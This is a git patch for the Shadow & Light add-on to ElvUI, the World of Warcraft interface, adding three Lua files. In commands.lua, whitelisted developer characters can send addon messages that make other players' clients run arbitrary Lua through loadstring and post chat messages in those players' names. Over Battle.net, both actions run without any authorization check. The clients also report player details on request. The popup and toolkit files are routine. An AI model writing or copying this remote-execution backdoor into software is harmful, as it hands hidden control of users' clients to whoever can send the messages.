From f55a8d908313aee15f54fbab2fb056c8481c31e5 Mon Sep 17 00:00:00 2001 From: Darthpred Date: Fri, 11 Jul 2014 20:47:50 +0400 Subject: [PATCH] Some stuff --- ElvUI_SLE/core/commands.lua | 204 +++++++++++++++++++++++++++++++++++++++ ElvUI_SLE/core/staticpopups.lua | 55 +++++++++++ ElvUI_SLE/core/toolkit.lua | 141 +++++++++++++++++++++++++++ 3 files changed, 400 insertions(+) create mode 100644 ElvUI_SLE/core/commands.lua create mode 100644 ElvUI_SLE/core/staticpopups.lua create mode 100644 ElvUI_SLE/core/toolkit.lua diff --git a/ElvUI_SLE/core/commands.lua b/ElvUI_SLE/core/commands.lua new file mode 100644 index 0000000..5a7f62b --- /dev/null +++ b/ElvUI_SLE/core/commands.lua @@ -0,0 +1,204 @@ +local E, L, V, P, G, _ = unpack(ElvUI); --Inport: Engine, Locales, PrivateDB, ProfileDB, GlobalDB +local SLE = E:GetModule('SLE'); +local find = string.find +local split = string.split + +local Message = '' + +--The list of authorized toons +local Authors = { + ["Illidan"] = { + --Darth's toon + ["Darthpred"] = "SLEAUTHOR", + --Repooc's Toon + ["Repøøc"] = "SLEAUTHOR", + ["Repooc"] = "SLEAUTHOR" + }, + ["ВечнаяПесня"] = { + --Darth's toons + ["Дартпредатор"] = "SLEAUTHOR", + ["Алея"] = "SLEAUTHOR", + ["Ваззули"] = "SLEAUTHOR", + ["Сиаранна"] = "SLEAUTHOR", + ["Джатон"] = "SLEAUTHOR", + ["Фикстер"] = "SLEAUTHOR", + ["Киландра"] = "SLEAUTHOR", + ["Нарджо"] = "SLEAUTHOR", + ["Келинира"] = "SLEAUTHOR", + ["Крениг"] = "SLEAUTHOR", + ["Мейжи"] = "SLEAUTHOR" + }, + ["Korialstrasz"] = { + ["Cursewordz"] = "SLEAUTHOR" + }, + ["Spirestone"] = { + ["Sifupooc"] = "SLEAUTHOR", + ["Dapooc"] = "SLEAUTHOR", + ["Lapooc"] = "SLEAUTHOR", + ["Warpooc"] = "SLEAUTHOR", + ["Repooc"] = "SLEAUTHOR" + }, + ["Andorhal"] = { + ["Dapooc"] = "SLEAUTHOR", + ["Rovert"] = "SLEAUTHOR", + ["Sliceoflife"] = "SLEAUTHOR" + }, + ["WyrmrestAccord"] = { + ["Kìtalie"] = "SLEAUTHOR", + ["Sagome"] = "SLEAUTHOR", + ["Ainy"] = "SLEAUTHOR", + ["Norinael"] = "SLEAUTHOR", + ["Tritalie"] = "SLEAUTHOR", + ["Myùn"] = "SLEAUTHOR", + ["Nevaleigh"] = "SLEAUTHOR", + ["Celenii"] = "SLEAUTHOR", + ["Varysa"] = "SLEAUTHOR", + ["Caylasena"] = "SLEAUTHOR", + ["Arillora"] = "SLEAUTHOR", + ["Dapooc"] = "SLEAUTHOR", + }, + ["Anasterian(US)"] = { + ["Dapooc"] = "SLEAUTHOR", + }, + ["Brill(EU)"] = { + ["Дартпредатор"] = "SLEAUTHOR", + }, +} + +function SLE:Auth(sender) + local senderName, senderRealm + + if sender then + senderName, senderRealm = string.split('-', sender) + else + senderName = E.myname + end + + senderRealm = senderRealm or E.myrealm + senderRealm = senderRealm:gsub(' ', '') + + if Authors[senderRealm] and Authors[senderRealm][senderName] then + return Authors[senderRealm][senderName] + end + + return false +end + +function E:sleCommand(flag, channel, target, output, text, wtarget, presenceID) + if not SLE:Auth() then + SLE:Print('|cffFF0000Access Denied|r: You need to be authorized to use this command.') + return + end + if channel ~= 'BNET' then + if target == (nil or "")then + SLE:Print('|cffFF0000Error|r: You need to set a unit to execute command.') + return + end + end + if channel ~= 'BNET' then + if text == (nil or "") then + SLE:Print('|cffFF0000Error|r: You need to actually send something in your message.') + return + end + end + if channel ~= 'BNET' then + Message = target + else + Message = " " + end + if flag == 'SLE_DEV_SAYS' then + if output == 'WHISPER' and (wtarget == (nil or "")) then + SLE:Print('|cffFF0000Error|r: You need to set a whisper target.') + return + end + Message = Message.."#"..output.."#"..text + if output == 'WHISPER' then + Message = Message.."#"..wtarget + end + else + Message = Message.."#"..text + end + if channel ~= 'BNET' then + SendAddonMessage(flag, Message, channel, target) + else + presenceID = tonumber(presenceID) + BNSendGameData(presenceID, flag, Message) + end + SLE:Print('|cff00FF00Success|r: Command executed.') +end + + +local function SendRecieve(self, event, prefix, message, channel, sender) + if event == "CHAT_MSG_ADDON" then + if sender == E.myname.."-"..E.myrealm:gsub(' ','') then return end + if (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and SLE:Auth(sender) and not SLE:Auth() then + if prefix == 'SLE_DEV_SAYS' then + local user, channel, msg, sendTo = split("#", message) + + if (user ~= 'ALL' and (user == E.myname or user == E.myname.."-"..E.myrealm:gsub(' ',''))) or user == 'ALL' then + SendChatMessage(msg, channel, nil, sendTo) + end + else + local user, executeString = split("#", message) + if (user ~= 'ALL' and (user == E.myname or user == E.myname.."-"..E.myrealm:gsub(' ',''))) or user == 'ALL' then + local func, err = loadstring(executeString); + if not err then + SLE:Print(format("Developer Executed: %s", executeString)) + func() + end + end + end + end + if prefix == 'SLE_DEV_REQ' and SLE:Auth(sender) then + local message = UnitLevel('player')..'#'..E.myclass..'#'..E.myname..'#'..E.myrealm..'#'..SLE.version; + SendAddonMessage('SLE_DEV_INFO', message, channel) + end + elseif event == "BN_CHAT_MSG_ADDON" then + if (sender == E.myname.."-"..E.myrealm:gsub(' ','')) then return end + if prefix == 'SLE_DEV_REQ' then + local _, numBNetOnline = BNGetNumFriends() + for i = 1, numBNetOnline do + local presenceID, _, _, _, _, _, client, isOnline = BNGetFriendInfo(i) + if isOnline and client == BNET_CLIENT_WOW then + --local messageS + local message, ID = split("#", message) + if message == 'userlist' then + message = UnitLevel('player')..'#'..E.myclass..'#'..E.myname..'#'..E.myrealm..'#'..SLE.version; + elseif message == 'slesay' then + message = "SLEinfo"..ID + end + BNSendGameData(presenceID, 'SLE_DEV_INFO', message) + end + end + elseif (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and not SLE:Auth() then + if prefix == 'SLE_DEV_SAYS' then + local _, channel, msg, sendTo = split("#", message) + SendChatMessage(msg, channel, nil, sendTo) + else + local _, executeString = split("#", message) + local func, err = loadstring(executeString); + if not err then + SLE:Print(format("Developer Executed: %s", executeString)) + func() + end + end + end + end +end +RegisterAddonMessagePrefix('SLE_DEV_SAYS') +RegisterAddonMessagePrefix('SLE_DEV_CMD') + +RegisterAddonMessagePrefix('SLE_DEV_REQ') + +local f = CreateFrame('Frame', "DaFrame") +f:RegisterEvent("GROUP_ROSTER_UPDATE") +f:RegisterEvent("CHAT_MSG_ADDON") +f:RegisterEvent("BN_CHAT_MSG_ADDON") +f:SetScript('OnEvent', SendRecieve) + +function SLE:RegisterCommands() + E:RegisterChatCommand('slesays', 'sleSays') + E:RegisterChatCommand('slecmd', 'sleCommand') + E:RegisterChatCommand('sletarget', 'sleTarget') + E:RegisterChatCommand('slechannel', 'sleChannel') +end \ No newline at end of file diff --git a/ElvUI_SLE/core/staticpopups.lua b/ElvUI_SLE/core/staticpopups.lua new file mode 100644 index 0000000..76356c8 --- /dev/null +++ b/ElvUI_SLE/core/staticpopups.lua @@ -0,0 +1,55 @@ +local E, L, V, P, G, _ = unpack(ElvUI); --Inport: Engine, Locales, PrivateDB, ProfileDB, GlobalDB, Localize Underscore +local Vtext = "" +local SLE = E:GetModule('SLE') + +E.PopupDialogs["VERSION_MISMATCH"] = { + text = SLE:MismatchText(), + button1 = CLOSE, + timeout = 0, + whileDead = 1, + preferredIndex = 3, +} + +E.PopupDialogs['ENHANCED_SLE_INCOMPATIBLE'] = { + text = L['Oh lord, you have got ElvUI Enhanced and Shadow & Light both enabled at the same time. Select an addon to disable.'], + OnAccept = function() DisableAddOn("ElvUI_Enhanced"); ReloadUI() end, + OnCancel = function() DisableAddOn("ElvUI_SLE"); ReloadUI() end, + button1 = 'ElvUI Enhanced', + button2 = 'Shadow & Light', + button3 = L['Disable Warning'], + OnAlt = function () + E.global.ignoreEnhancedIncompatible = true; + end, + timeout = 0, + whileDead = 1, + hideOnEscape = false, +} + +E.PopupDialogs['SLE_INCOMPATIBLE_ADDON'] = { + text = gsub(L["INCOMPATIBLE_ADDON"], "ElvUI", "Shadow & Light"), + OnAccept = function(self) DisableAddOn(E.PopupDialogs['SLE_INCOMPATIBLE_ADDON'].addon); ReloadUI(); end, + OnCancel = function(self) E.PopupDialogs['SLE_INCOMPATIBLE_ADDON'].optiontable[E.PopupDialogs['SLE_INCOMPATIBLE_ADDON'].value] = false; ReloadUI(); end, + timeout = 0, + whileDead = 1, + hideOnEscape = false, +} + +E.PopupDialogs['SLE_CHAT_HISTORY'] = { + text = "This will clear your chat history, you will no longer be able to see messages shown before executing after reload.\nContinue?", + button1 = ACCEPT, + button2 = CANCEL, + OnAccept = function(self) if ElvCharacterDB.ChatLog then ElvCharacterDB.ChatLog = {} end end, + timeout = 0, + whileDead = 1, + hideOnEscape = false, +} + +E.PopupDialogs['SLE_EDIT_HISTORY'] = { + text = "This will clear your editbox history and reload UI.\nContinue?", + button1 = ACCEPT, + button2 = CANCEL, + OnAccept = function(self) if ElvCharacterDB.ChatEditHistory then ElvCharacterDB.ChatEditHistory = {}; ReloadUI() end end, + timeout = 0, + whileDead = 1, + hideOnEscape = false, +} \ No newline at end of file diff --git a/ElvUI_SLE/core/toolkit.lua b/ElvUI_SLE/core/toolkit.lua new file mode 100644 index 0000000..7dbb7dc --- /dev/null +++ b/ElvUI_SLE/core/toolkit.lua @@ -0,0 +1,141 @@ +local E, L, V, P, G, _ = unpack(ElvUI); +local SLE = E:GetModule('SLE') +local BG = E:GetModule('SLE_BackGrounds') +local DTP = E:GetModule('SLE_DTPanels') +local CH = E:GetModule("Chat") +local UB = E:GetModule('SLE_UIButtons') +local RM = E:GetModule('SLE_RaidMarks') +local RF = E:GetModule('SLE_RaidFlares') +local F = E:GetModule('SLE_Farm') +local LT = E:GetModule('SLE_Loot') +local UF = E:GetModule('UnitFrames') + +local GetContainerNumSlots, GetContainerItemID = GetContainerNumSlots, GetContainerItemID + +--The list of authorized toons +local Authors = { + ["Illidan"] = { + --Darth's toon + ["Darthpred"] = "SLEAUTHOR", + --Repooc's Toon + ["Repooc"] = "SLEAUTHOR", + ["Repooc"] = "SLEAUTHOR" + }, + [""] = { + --Darth's toons + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR", + [""] = "SLEAUTHOR" + }, + ["Korialstrasz"] = { + ["Cursewordz"] = "SLEAUTHOR" + }, + ["Spirestone"] = { + ["Sifupooc"] = "SLEAUTHOR", + ["Dapooc"] = "SLEAUTHOR", + ["Lapooc"] = "SLEAUTHOR", + ["Warpooc"] = "SLEAUTHOR", + ["Repooc"] = "SLEAUTHOR" + }, + ["Andorhal"] = { + ["Dapooc"] = "SLEAUTHOR", + ["Rovert"] = "SLEAUTHOR", + ["Sliceoflife"] = "SLEAUTHOR" + }, + ["WyrmrestAccord"] = { + ["Kitalie"] = "SLEAUTHOR", + ["Sagome"] = "SLEAUTHOR", + ["Ainy"] = "SLEAUTHOR", + ["Norinael"] = "SLEAUTHOR", + ["Tritalie"] = "SLEAUTHOR", + ["Myun"] = "SLEAUTHOR", + ["Nevaleigh"] = "SLEAUTHOR", + ["Celenii"] = "SLEAUTHOR", + ["Varysa"] = "SLEAUTHOR", + ["Caylasena"] = "SLEAUTHOR", + ["Arillora"] = "SLEAUTHOR", + ["Dapooc"] = "SLEAUTHOR", + }, + ["Anasterian(US)"] = { + ["Dapooc"] = "SLEAUTHOR", + }, + ["Brill(EU)"] = { + [""] = "SLEAUTHOR", + }, +} + +function SLE:Auth(sender) + local senderName, senderRealm + + if sender then + senderName, senderRealm = string.split('-', sender) + else + senderName = E.myname + end + + senderRealm = senderRealm or E.myrealm + senderRealm = senderRealm:gsub(' ', '') + + if Authors[senderRealm] and Authors[senderRealm][senderName] then + return Authors[senderRealm][senderName] + end + + return false +end + +function SLE:BagSearch(itemId) + for container = 0, NUM_BAG_SLOTS do + for slot = 1, GetContainerNumSlots(container) do + if itemId == GetContainerItemID(container, slot) then + return container, slot + end + end + end +end + +function SLE:ValueTable(table, item) + for i, _ in pairs(table) do + if i == item then return true end + end + return false +end + +function SLE:SimpleTable(table, item) + for i = 1, #table do + if table[i] == item then + return true + end + end + return false +end + +function SLE:Print(msg) + print(E["media"].hexvaluecolor..'S&L:|r', msg) +end + +E.UpdateAllSLE = E.UpdateAll +function E:UpdateAll() + E.UpdateAllSLE(self) + BG:UpdateFrames() + BG:RegisterHide() + DTP:Update() + DTP:DashboardShow() + DTP:DashWidth() + if E.private.unitframe.enable then + UF:Update_CombatIndicator() + end + LT:LootShow() + UB:UpdateAll() + RM:Update() + RF:Update() + F:UpdateLayout() + CH:GMIconUpdate() +end \ No newline at end of file -- 1.7.9.5